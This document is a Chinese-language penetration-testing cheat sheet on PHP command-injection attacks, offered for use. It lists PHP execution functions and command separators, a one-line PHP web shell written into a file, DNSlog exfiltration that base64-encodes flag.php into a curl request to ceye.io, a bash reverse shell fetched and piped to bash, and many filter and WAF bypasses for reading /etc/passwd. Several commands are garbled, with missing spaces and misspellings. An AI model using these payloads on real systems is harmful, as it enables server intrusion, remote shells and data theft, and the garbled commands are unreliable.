PHP 命令执行
命令函数 | 作用 | 例子 |
system() | 执行外部程序,并且显示输出 | system('whoami') |
exec() | 执行一个外部程序 | echo exec('whoami'); |
shell_exec() | 通过shell环境执行命令,并且将完整的输出以字符串的形式返回 | echo shell_exec('whoami'); |
passthru() | 执行外部程序并且显示数据原始输出 | passthru('whoami'); |
pcntl_exec() | 在当前进程空间执行指定程序 不能在非unix平台 | pcntl_exec("/bin/cat",array("/etc/passwd)); |
popen() | 打开进程文件指针 | $a=popen("bin/cat,/etc/passwd","r");$b=fread($a,2096);echo $b;pclose($a); |
proc_open() | 执行一个命令,并打开一个io文件指针.类似popen(),但更复杂. | |
ob_start() | 打开内部缓冲 输出内部缓存ob_end_flush() | <?php ob_start("system"); echo "whoami"; ob_end_flush();?> |
反引号`` | echo `whoami` |
命令执行常用命令
命令目的 | linux | windows |
当前用户名 | whoami | whoami |
操作系统 | uname -a | ver |
网络配置 | ifconfig | ipconfig /all |
网络连接 | netstat -an | netstat -an |
运行进程 | ps -ef | tesklist |
命令分隔符号linux ;可以用 |或 ||代替
;前面的执行完执行后面的
|是管道符,显示后面的执行结果
||当前面的执行出差时执行后面的
可以用**%0a和\n**换行执行命令
windows 不能用;可以用&,&&,|,||代替
&前面的语句为假则直接执行后面的
&&前面的语句为假则直接出错,后面的也不执行
|直接执行后面的语句
||前面的出错执行后面的
常用命令执行函数解析
1.system
system('whoami')
php会操纵计算机执行whoami的命令,且输出返回结果
目标:机器如果是linux执行的是bash命令|如果是windows执行的是cmd命令.
echp"<?php @eval($_REQUEST[8]);?>">1.php
tisp:echo"输入内容">1.php是指把内容写入1.php尖括号对于echo来说是关键词,所以用双引号括起来
得到的结果:
成功写入文件,但是写入的文件有""包围了起来那么是不是就代表是字符串不能用了
这里是<?php?>内的被""包围才会有影响所以说外面的双引号并不会影响到正常执行
2.echo exec
只会执行,如果有输出 显示结果的最后一行内容
3.echo shell_exec
只会执行,如果有输出 显示获得的所有数据
4.``[反引号]
shell_exec 特殊写法 禁用shell_exec就不可使用shell_exec
5.passthru
执行命令返回结果且输出跟system没有什么区别
6.popen(要执行的命令,参数) //r是只读 w是写入
$a =popen('whoami','r');
echofread($a,1024);
这个指的返回值比较特殊,返回的是一个文件指针,需要用fread去读取返回值长度 第二个指定输出多少个字符.
命令执行无回显利用技巧
1.延时
可以使用注入的命令来触发时间延迟,从而根据应用程序相应来确认命令是否执行
windows:echo1&ping-n10127.0.0.1&echo2
会ping检测10次产生延时
2.重定向输出
我们可以将注入命令的输出重定向到web根目录下的文件当中,然后使用浏览器进行检索.如果他会在localhost提供静态资源
绝对路径
cmd >file 输出重定向到file文件
cmd>file 输出追加到file中,无则创建
windows whoami >F:/PHPSTUDY/WWW/phpstudent/lynn.txt
可以将我们的命令执行后的结果输出到指定目录文件当中
3.DNSlog外带linux
利用域名解析请求,dnslog.cn
例如8qcijo.dnslog.cn那么因为dnslog使用了泛解析会将所有只要有8qcijo.dnslog.cn的xxx.8qcijo.dnslog.cn
curl`cat<flag.php|base64`.awa4xw.ceye.io
4.反弹shell
1.首先在服务器用nc监听端口
nc-lvp4444
2.如何在服务器上开启web访问(8000端口),写入一个文件(1.txt)内容如
bash-i&/dev/tcp/x.x.x.x/44440>&1
3.执行payload
?cmd=curl x.x.x.x:8000/1.txt|bash
python一行代码实现简易http服务器
python-m SimpleHTTPServer
命令执行定位文件
dir /s/b "文件内容"文件名称
findstr /s "文件内容"文件名称
命令执行绕过
1.拼接 linux
a=ca;b=t;c=1;$a$b $c.txt
设置变量
a=ca b=t c=1拼接执行 约等于cat 1.txt
2.base64编码linux
`echo "Y2F0IDEudHh0"|base64 -d`
或
echo"Y2F0IDEudHh0"|base64-d|bash
先将这串字符串base64解码然后bash执行命令
3.单引号,双引号linux
ca""t1''.txt
在linux里面单双引号不会影响命令执行
4.反斜杠 linux
c\at 1.t\xt
同上一样的效果
5.可变扩展绕过linux
test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm} == /etc/passwd
cat ${test//hh??hm/} == /etc/passwd
6.用通配符绕过windows
powershell C:\*\*2\n??e*d.*?|notepad
7.shell特殊变量
ca$@t 1$1.txt==cat 1.txt
c@$a$@t@$ 1$1.@$t@$x@$t
长度限制绕过
通过构造文件来绕过
linux下可以用
1>a 创建文件名为a的空文件
ls-t>test 则会将目录按时间排序后写进test文件中
sh可以从一个文件中读取命令来执行 例如一个文件里面写了 echo1那么着急sh文件名 即可输出1
空格绕过
1.cat</etc/passwd利用<指定命令可不使用空格
2.{cat,/etc/passwd}利用{}包裹代码用,当作分隔符去查看
3.cat$IFS/etc/passwd利用$IFS代替空格
4.echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd利用${IFS}当作空格使用&&(连接符)
windows平台
ping%CommonProgramFiles:~10,-18%IP地址|利用%CommonProgramFiles:~10,-18%
ping%PROGRAMFILES:~10,-5%IP地址|利用%PROGRAMFILES:~10,-5%
引号逃逸
当而已命令背括在引号内时,可以用\转义引号逃逸
不带反斜杠和斜杠的命令执行
echo ${HOME:0:1}|${HOME:0:1}代替/
例如:
cat ${HOME:0:1}etc${HOME:0:1}passwd
echo.|tr '!-0''"-1'=/
例如:
cat$(echo.|tr '!-0''"-1')etc$(echo.|tr '!-0''"-1')passwd
命令执行waf绕过
windows
1.符号于命令的关系
"和^还有成对的圆括号()符号并不会影响命令执行,在windows环境下,命令不会区分大小写